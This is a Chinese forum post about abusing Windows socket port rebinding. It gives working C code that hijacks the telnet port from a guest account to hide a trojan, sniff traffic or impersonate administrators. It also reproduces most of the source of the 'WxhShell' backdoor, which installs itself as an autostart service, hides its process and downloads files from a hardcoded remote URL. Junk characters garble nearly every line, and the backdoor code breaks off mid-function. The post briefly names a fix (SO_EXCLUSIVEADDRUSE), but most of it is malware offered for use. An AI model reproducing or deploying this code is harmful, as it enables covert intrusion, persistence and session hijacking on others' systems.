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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ij_h #f   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3;F+.{Icc  
F8* zG 4/&  
  saddr.sin_family = AF_INET; xC5`|JW  
(oG-h"^/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  TNj WZ  
g-NfZj?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); = a54  
`*ml/% \  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hlO,mU  
YsBOh{Ml  
  这意味着什么?意味着可以进行如下的攻击: "3H?_!A9  
([Da*Tk*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h4,S /n  
CY?19Ak-xd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :&-j{8p-  
|WUm;o4E`U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ln&9WF\I  
3x6@::s~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z&M fE0F/B  
Z{p62|+Ck@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {{+woL'C  
{[tx^b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >VE!3'/'  
J12hjzk6@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K."h}f95  
g>&b&X&Y_  
  #include QP={b+8  
  #include ,>vI|p,/G*  
  #include :h!&.FB  
  #include    Dxx`<=&g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JZom#A. dt  
  int main() eI:;l];G9  
  { w"/RI#7.  
  WORD wVersionRequested; 24 L =v  
  DWORD ret; r)/nx@x  
  WSADATA wsaData; :dM eNM-  
  BOOL val; O~L/>Ya  
  SOCKADDR_IN saddr; w`a(285s)i  
  SOCKADDR_IN scaddr; ZL^ svGy  
  int err; V.H<KyaJ  
  SOCKET s; O<}KrmUC~  
  SOCKET sc; n| [RXpAp3  
  int caddsize; jv5Os-  
  HANDLE mt; i3usZ{_r  
  DWORD tid;   w}:&+B:  
  wVersionRequested = MAKEWORD( 2, 2 ); W:TF8Onw  
  err = WSAStartup( wVersionRequested, &wsaData ); d2=Z=udd  
  if ( err != 0 ) { snccDuS  
  printf("error!WSAStartup failed!\n"); dZi ?Z  
  return -1; +1(L5Do}  
  } 1XD|H_JG<j  
  saddr.sin_family = AF_INET; TxDzGC  
   g0M9v]c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QmRE<i  
XL2iK)A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +u[?8D7Y  
  saddr.sin_port = htons(23); zSM;N^X8?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (Tbw@BFk  
  { hn p-x3  
  printf("error!socket failed!\n"); =0gfGwD{  
  return -1; - )brq3L  
  } se,0Rvkt  
  val = TRUE; 7$/%c{o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Kulh:d:w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HyX:4f|]'  
  { q7-.-k<dQ  
  printf("error!setsockopt failed!\n"); _6/q.  
  return -1; lWe1Q#  
  } .C7;T'>!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  $% 5f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GJB= 5nE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e/nc[  
Ljq!\D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dLnu\bSF  
  { 1~_&XNb&  
  ret=GetLastError(); w=K!U]  
  printf("error!bind failed!\n"); c=Y8R/G<  
  return -1; " +n\0j;  
  } @!MhVNS_<  
  listen(s,2); o*}--d? S  
  while(1) ZA! yw7~  
  { SeX:A)*ez%  
  caddsize = sizeof(scaddr); :4'Fq;%C  
  //接受连接请求 -|\SNbPTV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yccF#zU  
  if(sc!=INVALID_SOCKET) \Tii S  
  { [tEHr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %J%ZoptY:  
  if(mt==NULL) #Emz9qTsce  
  { o7B }~;L  
  printf("Thread Creat Failed!\n"); LnY`f -H  
  break; [Dou%\  
  } b( qO fek  
  } ]%8f-_fSy  
  CloseHandle(mt); o 2Okc><z  
  } Y#[>j4<T  
  closesocket(s); bo%v(  
  WSACleanup(); Bx&F*a;5  
  return 0; fj,]dQ T  
  }   <z+b88D  
  DWORD WINAPI ClientThread(LPVOID lpParam) M(+;AS?;  
  { g\O&gNq<)-  
  SOCKET ss = (SOCKET)lpParam; ]0yYMnqvr  
  SOCKET sc; v@KP~kp  
  unsigned char buf[4096]; 5Rc^5Nv  
  SOCKADDR_IN saddr; ;p U=>  
  long num; e_{!8u.+  
  DWORD val; 7HkQ|~zGT  
  DWORD ret; Tl2e?El;4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;?`l1:C5)  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?5yj</W  
  saddr.sin_family = AF_INET; gY=Ry=w9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SFdSA4D"  
  saddr.sin_port = htons(23); nL[ zXl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W<"{d  
  { (K>=!&tlp=  
  printf("error!socket failed!\n"); yxpDQ O~x  
  return -1; 7vf?#^ RlV  
  } N)rf /E0  
  val = 100; IC:wof "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $F,&7{^  
  { mhXSbo9w-  
  ret = GetLastError(); ygz6 ~(  
  return -1; Jfkdiyy"  
  } n$S`NNO{]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O alBr?^  
  { 83ajok4E  
  ret = GetLastError(); 7:>VH>?D  
  return -1; -Ze{d$  
  } !;1$1xWK  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O*d4zBT  
  { NX5A{  
  printf("error!socket connect failed!\n"); ag \d4y6  
  closesocket(sc); Y=-ILN("  
  closesocket(ss); rW&# Xw/a  
  return -1; >.]' N:5  
  } QV@NA@;XZ  
  while(1) djxM/"xo  
  { |0jmOcZF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xQetAYP`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |8s)kQ4$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &K*x[  
  num = recv(ss,buf,4096,0); cx(W{O"Jb  
  if(num>0) nfV32D|3  
  send(sc,buf,num,0); '\iWp?`$  
  else if(num==0) 53w@  
  break; ;N FTdP  
  num = recv(sc,buf,4096,0); =b* Is,R/  
  if(num>0) .M$}.v  
  send(ss,buf,num,0); Z_F}Y2-w9  
  else if(num==0) ~SW_jiKM  
  break; }}VB#   
  } -#nfO*H}  
  closesocket(ss); ERE1XOe=D  
  closesocket(sc); [v!TQwMU  
  return 0 ; / W,K% s]  
  } i(k]}Di:  
8sV_@<l<X  
aeBA`ry"B  
==========================================================  / hl:p  
=`l).GnN2`  
下边附上一个代码,,WXhSHELL { _]'EK/w  
h6Vm;{ ~  
========================================================== jr9/  
y+P iH  
#include "stdafx.h" -a}d @&  
UW%.G  
#include <stdio.h> HcrI3v|6  
#include <string.h> 8] BOq:  
#include <windows.h> 71h?t`N  
#include <winsock2.h> N{(Q,+ ~  
#include <winsvc.h> f~3_Rv!  
#include <urlmon.h> E|aPkq]  
1M4I7 *r  
#pragma comment (lib, "Ws2_32.lib") TyCMZsvM,  
#pragma comment (lib, "urlmon.lib") d/57;6I_  
c<8RRYs  
#define MAX_USER   100 // 最大客户端连接数 JBsHr%!i  
#define BUF_SOCK   200 // sock buffer "1U:qr2-H  
#define KEY_BUFF   255 // 输入 buffer ':v@Pr|  
G\?q{  
#define REBOOT     0   // 重启 $6c8<!B_  
#define SHUTDOWN   1   // 关机 l]s,CX  
^:0e pj7  
#define DEF_PORT   5000 // 监听端口 <u"h'e/oW_  
U1>VKP;5Nn  
#define REG_LEN     16   // 注册表键长度 {cNH|  
#define SVC_LEN     80   // NT服务名长度 '~1uJ0H  
Q6?}/p  
// 从dll定义API vIoV(rc+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #\[((y:q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [,F5GW{x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r=" wd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gGiLw5o,  
r# }`{C;+5  
// wxhshell配置信息 9\|n2$H:  
struct WSCFG { -F+dRzxH  
  int ws_port;         // 监听端口 "SuBtoK  
  char ws_passstr[REG_LEN]; // 口令 -n-rKN.T  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;!CYp; _  
  char ws_regname[REG_LEN]; // 注册表键名 DJtKLG0  
  char ws_svcname[REG_LEN]; // 服务名 ;(kU:b|j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l+>&-lX'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?T\m V}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l"\W]'T:r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \gh`P S-B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WrR97]7t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u= |hRTD=  
}<EA)se"  
}; s ^/<6kwO  
y<G@7?   
// default Wxhshell configuration EcA@bZ0  
struct WSCFG wscfg={DEF_PORT, ?w}E/(r  
    "xuhuanlingzhe", *CA7 {2CX  
    1, Ba$Ibq,r/  
    "Wxhshell", #K3A{ jb,  
    "Wxhshell", a;a2x .<  
            "WxhShell Service", CaZ{UGokL  
    "Wrsky Windows CmdShell Service", ccWz,[  
    "Please Input Your Password: ", p2|BbC\N  
  1, y s5b34JN  
  "http://www.wrsky.com/wxhshell.exe", G?Y2 b  
  "Wxhshell.exe" %}U-g"I  
    }; x}.Q9L  
s^nwF>  
// 消息定义模块 GRanR'xG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J^@0Ff;=5^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EV:y}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ("t; 2Mw  
char *msg_ws_ext="\n\rExit."; c1IK9X*  
char *msg_ws_end="\n\rQuit."; ])= k";76  
char *msg_ws_boot="\n\rReboot...";  *q8L$D  
char *msg_ws_poff="\n\rShutdown..."; .TN9N  
char *msg_ws_down="\n\rSave to "; hi>sDU< x  
<}c`jN!z.  
char *msg_ws_err="\n\rErr!"; W9{>.E?  
char *msg_ws_ok="\n\rOK!"; F<y5zqGy@  
ELp @/c=Wr  
char ExeFile[MAX_PATH]; 2WjQ-mM#  
int nUser = 0; $IL7c]Gw  
HANDLE handles[MAX_USER]; eCY gi7?  
int OsIsNt; ^X%{]b K  
[~;#]az  
SERVICE_STATUS       serviceStatus; )fz)Rrr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SC~cryb  
Ks.pb !r  
// 函数声明 1;p'2-x  
int Install(void);  0u4:=Z}W  
int Uninstall(void); $1N_qu  
int DownloadFile(char *sURL, SOCKET wsh); Hnwir!=7  
int Boot(int flag); %y~=+Sm%m  
void HideProc(void); Kq|L: Z  
int GetOsVer(void); GM6Y`iU  
int Wxhshell(SOCKET wsl); a*d>WN.;U  
void TalkWithClient(void *cs); &v+8RY^F=  
int CmdShell(SOCKET sock); eu(1bAfS&T  
int StartFromService(void); mbBd3y  
int StartWxhshell(LPSTR lpCmdLine); %3ecV$  
8>TDrpT}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R$@|t?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X[:&p|g]  
$cri"G  
// 数据结构和表定义 }>cQ}6n.  
SERVICE_TABLE_ENTRY DispatchTable[] = sKhX0,s&  
{ K9FtFd  
{wscfg.ws_svcname, NTServiceMain}, uj$b/I>.'  
{NULL, NULL} f1;Pzr  
}; Oo<^~d2=  
uE~? 2G  
// 自我安装 (5%OAjW  
int Install(void) &N!QKrj3  
{ ?d1H]f<M  
  char svExeFile[MAX_PATH]; T?W`g> yM  
  HKEY key; 3 tMFJ ;*`  
  strcpy(svExeFile,ExeFile); @x">e][B  
KaC+x-%K  
// 如果是win9x系统,修改注册表设为自启动 U}7 a;4?  
if(!OsIsNt) { }O<u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V.kU FTCvf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ![Z'jC py  
  RegCloseKey(key); x68$?CD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sm-RpZ&|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Y 9 *rL  
  RegCloseKey(key); d-g&TSGd  
  return 0; 2H8,&lY.p  
    } xX`P-h>V`c  
  } X8Px  
} =& ~*r  
else { o'@VDGS`  
qG=9zp4y?Y  
// 如果是NT以上系统,安装为系统服务 h Ns<Ae  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mT;1KE{J{  
if (schSCManager!=0) i{w<4E3  
{  KTd,^h  
  SC_HANDLE schService = CreateService yZbO{PMr  
  ( <U=:N~L  
  schSCManager, bZk7)b;1o  
  wscfg.ws_svcname, RSG\3(  
  wscfg.ws_svcdisp, h >w4{u0  
  SERVICE_ALL_ACCESS, f5+a6s9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QfJ?'*  
  SERVICE_AUTO_START, P ?dE\Po7  
  SERVICE_ERROR_NORMAL, "gXz{$q  
  svExeFile, l|[cA}HtB  
  NULL, a_/\.  
  NULL, w? A&XB+  
  NULL, 7vRJQe)  
  NULL, xt@zP)6G  
  NULL RQ# gn  
  ); 2~+_T  
  if (schService!=0) |?0Cm|?  
  { *Z=K9y,IC  
  CloseServiceHandle(schService); 4flyV -  
  CloseServiceHandle(schSCManager); +Gi~VW.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *4Cq,o`o>  
  strcat(svExeFile,wscfg.ws_svcname); x|G# oG)_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RuDn1h#u{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .WA(X5  
  RegCloseKey(key); A {lzQO  
  return 0; (Vglcj  
    } =jjUwcl  
  } ,p/iN9+Z  
  CloseServiceHandle(schSCManager); Esw#D90q  
} /j!?qID  
} KK`P<^8J  
Er?Wg09  
return 1; k2l(!0o|;  
} L,0HX   
hHF YAh   
// 自我卸载 dhpEB J  
int Uninstall(void) SlI0p&2,  
{ a9qB8/Gg[  
  HKEY key; " B Z6G`  
RG-pN()  
if(!OsIsNt) { $QmP' <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S P)$K=  
  RegDeleteValue(key,wscfg.ws_regname); =1fO"|L  
  RegCloseKey(key); g<O*4 ]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0f/=C9L  
  RegDeleteValue(key,wscfg.ws_regname); ,/{mRw%  
  RegCloseKey(key); a? K=  
  return 0; sY!PXD0Q  
  } )Ac+5bs  
} x(h(a#,r  
} D+d\<":  
else { JX(JZ/8B^  
h=um t<&D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hN$6Kx>{  
if (schSCManager!=0) ,T?8??bZ  
{ "40Jxqt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {`BC$V  
  if (schService!=0) 9'C kV[  
  { D`PnY&ffT  
  if(DeleteService(schService)!=0) { 6W."h PP  
  CloseServiceHandle(schService); I{AteL  
  CloseServiceHandle(schSCManager); -8; ,#  
  return 0; 1tU}}l  
  } 2628 c`  
  CloseServiceHandle(schService); Fyoy)y*  
  } gE]) z*tqX  
  CloseServiceHandle(schSCManager); tpj({   
} x;89lHy@e  
} "knSc0 ,u  
W+V#z8K  
return 1; Es6b~ #  
} c%w@-n`  
DesvnV'{`  
// 从指定url下载文件 %m1k^  
int DownloadFile(char *sURL, SOCKET wsh) c%c/mata?  
{ 1[o] u:m9U  
  HRESULT hr; ?#ue:O1  
char seps[]= "/"; +lmMBjDa  
char *token; u}hQF $a"  
char *file; }2-<}m9}  
char myURL[MAX_PATH]; O= PFr"  
char myFILE[MAX_PATH]; #+p30?r0y  
Lzu;"#pw  
strcpy(myURL,sURL); I^ sWf3'db  
  token=strtok(myURL,seps); YG$2ySkDhE  
  while(token!=NULL) Z W` Ur>  
  { VQV7W  
    file=token; EL $"MT}p  
  token=strtok(NULL,seps); saQA:W;  
  } |2(z<b&y=  
AYHB?xOpR  
GetCurrentDirectory(MAX_PATH,myFILE); 4Waot  
strcat(myFILE, "\\"); ^:W.R7|  
strcat(myFILE, file); %Uybp  
  send(wsh,myFILE,strlen(myFILE),0); gE%{#&*  
send(wsh,"...",3,0); @@K@;Jox  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `X]TIMc:Ad  
  if(hr==S_OK) aG;6^$H~  
return 0; ) \Mwv&k1  
else K[Bq,nPo  
return 1; pZp|F  
qW[p .jN  
} 2GQ q(_  
cGiS[-g  
// 系统电源模块 Vc|r(lM  
int Boot(int flag) \)859x&(  
{ n-[J+DdB  
  HANDLE hToken; B8-v!4b0`  
  TOKEN_PRIVILEGES tkp; +hL+3`TD#H  
hM\<1D CKG  
  if(OsIsNt) { CLU!/J $!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {^gb S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c0jdZ#H  
    tkp.PrivilegeCount = 1; [b-27\b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; peqoLeJI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e_s9E{(  
if(flag==REBOOT) { *f|9A/*B3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T">-%-t  
  return 0; 2T/C!^iJ)  
} x \B!0"~  
else { z)"7qqA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dO.?S89L  
  return 0; cY?< W/  
} Qx CZ<|  
  } CL%?K<um  
  else { /'?Fz*b  
if(flag==REBOOT) { J&UFP{)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |1J=wp)#  
  return 0; +RS>#zd/=  
} Q >[*Y/`I  
else { R< @o]p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e:}8|e~T  
  return 0;  {n}6  
} $~c?qU  
} 3?I^D /K^  
x' *,~u  
return 1; +F q`I2l|  
} \ &1)k/  
[z#C&gDt  
// win9x进程隐藏模块 vr5 6 f1  
void HideProc(void) 33x3zEUt6  
{ H pXMPHd  
A3ad9?LR[R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FSv')`}  
  if ( hKernel != NULL ) a6=mE?JTB  
  { jeF1{%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?Z%Ja_}8ma  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X.<_TBos|  
    FreeLibrary(hKernel); b2c% 0C  
  } Ry*NRP;  
-}|GkTM  
return; OD<0,r0f,  
} ?l#9ydi?  
rm2"pfs  
// 获取操作系统版本 %98F>wl  
int GetOsVer(void) '8>h4s4  
{ 6dTq&GZ\  
  OSVERSIONINFO winfo; dq~p]h~,H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AH`D&V  
  GetVersionEx(&winfo); D3Lu]=G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |`T3H5X>  
  return 1; bep}|8,#u  
  else M>J8J*  
  return 0; Ge$cV}  
} ;AKtb S;H  
B[7|]"L@  
// 客户端句柄模块 *FDz20S  
int Wxhshell(SOCKET wsl) ):?ype>  
{ p.i$[6M  
  SOCKET wsh; p3O%|)yV  
  struct sockaddr_in client; o>#<c @  
  DWORD myID; zMb7a_W  
nW+rJ  
  while(nUser<MAX_USER) :7%JD.;W  
{ 6"Q/Y[y  
  int nSize=sizeof(client); , RfU1R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &3v{~Xg)  
  if(wsh==INVALID_SOCKET) return 1; L^rtypkJ  
u.iFlU   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +kTAOf M  
if(handles[nUser]==0) ,pir,Eozg  
  closesocket(wsh); .E!7}O6  
else )a,-Hc:Vz  
  nUser++; '"QC^Joz  
  } {n%-^9b1{&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |o~<Ti6]  
"T5?<c  
  return 0; :/ns/~5xa:  
} Ne*I$T 5  
xjOy3_Js  
// 关闭 socket bT-(lIU  
void CloseIt(SOCKET wsh) %Bmi3 =Rr  
{ :xZ/c\  
closesocket(wsh); ,S;?3?a  
nUser--; 'dM &~L SQ  
ExitThread(0); -yfyd$5j  
} D.)$\Caq  
k6rX/ocu  
// 客户端请求句柄 * JGm  
void TalkWithClient(void *cs) iQ*JU2;7 t  
{ d+~c$(M)  
vIG8m@-!&;  
  SOCKET wsh=(SOCKET)cs; Pgf$GXE  
  char pwd[SVC_LEN]; f2[z)j7  
  char cmd[KEY_BUFF]; OTd=(dwh  
char chr[1]; |s|>46E  
int i,j;  S]ZO*+  
=O1CxsKt6  
  while (nUser < MAX_USER) { T3Kq1 Rh  
YD2M<.U  
if(wscfg.ws_passstr) { //KTEAYyy#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !.iu_xJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N'Va&"&73>  
  //ZeroMemory(pwd,KEY_BUFF); _6THyj$f  
      i=0; K2nq2Gbn  
  while(i<SVC_LEN) { 1iaNb[:QX  
{@g3AG%  
  // 设置超时 k#`.!yI,  
  fd_set FdRead; O]w&uim  
  struct timeval TimeOut; W5}.WFu  
  FD_ZERO(&FdRead); jEklf0Z  
  FD_SET(wsh,&FdRead); hbR;zV|US  
  TimeOut.tv_sec=8; qfE/,L(B  
  TimeOut.tv_usec=0; %^^2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZA>hN3fE'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "m})~va  
y% uUA]c*m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Qd6a:-6  
  pwd=chr[0]; Z<En3^j`  
  if(chr[0]==0xd || chr[0]==0xa) { Jjik~[<q:  
  pwd=0; 2j-|.l c  
  break; ^R1 nOo/  
  }  \A:m<::  
  i++; fMwJwMT8  
    } L':;Vv~-  
4PTHUyX  
  // 如果是非法用户,关闭 socket ItQIM#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e`4OlM]  
} kJy<vb~   
/YH Bhoat  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4 *He<2g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wf 13Ab  
1W8[ RET  
while(1) { ^Ot+,l)  
7u,56V?X  
  ZeroMemory(cmd,KEY_BUFF); 3nd02:GF  
{#uX   
      // 自动支持客户端 telnet标准   8~:qn@ Z|E  
  j=0; f'Wc_ L)  
  while(j<KEY_BUFF) { sBS\S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T_6,o[b8  
  cmd[j]=chr[0]; &of%;>$>M  
  if(chr[0]==0xa || chr[0]==0xd) { Mp?Ev.  
  cmd[j]=0; m^U\l9LE  
  break; t?28s/?  
  } 9/D+6hJ]:  
  j++; go6Hb>  
    } y&lj+j  
P\iw[m7O  
  // 下载文件 P^v`5v  
  if(strstr(cmd,"http://")) { .,l ?z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Z2U  
  if(DownloadFile(cmd,wsh)) en!cu_]t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,bmiIW%  
  else WXNJc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nfy"M),et  
  } 8_U*_I7(  
  else { dSsMa3X[n  
zi2hi9A  
    switch(cmd[0]) { #E5#{bra  
  Vj0`*nC)/  
  // 帮助 $b\Gl=YX^  
  case '?': { S#!PDg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j!&g:{ e  
    break; itX<!  
  } Mz40([{  
  // 安装 D!J ("~[3  
  case 'i': { 9g J`H'  
    if(Install()) mY(~94{d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vrGRZa  
    else @s2z/ h0H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y M , hF  
    break; |w6:mtaS  
    } azPFKg +  
  // 卸载 @]WN|K  
  case 'r': { M<"&$qZ$R  
    if(Uninstall()) D?qA aq&4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dy, ,x  
    else qQ/j+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $>OWGueq64  
    break; Wxb/|?,  
    } hX$k8 o0  
  // 显示 wxhshell 所在路径 GpN tvo~  
  case 'p': { }UHuFff,  
    char svExeFile[MAX_PATH]; 76} N/C  
    strcpy(svExeFile,"\n\r"); 0mH>fs 4  
      strcat(svExeFile,ExeFile); oO$a4|&,  
        send(wsh,svExeFile,strlen(svExeFile),0); q<r{ps  
    break; m$*dPje  
    } nW{ ). P  
  // 重启 h<6@&yzp  
  case 'b': { ?t'O\n)M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j9) Z'L  
    if(Boot(REBOOT)) ^=pn!lK;^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _tb)F"4V  
    else { `t {aN|3V[  
    closesocket(wsh); +MGEO+  
    ExitThread(0); +aEE(u6%E@  
    } pUYa1=  
    break; MJ8z"SKnV  
    } wR@fB  
  // 关机 &0K H00l  
  case 'd': { 4B-v\3Ff  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j?g{*M  
    if(Boot(SHUTDOWN)) wCkhE,#-_  
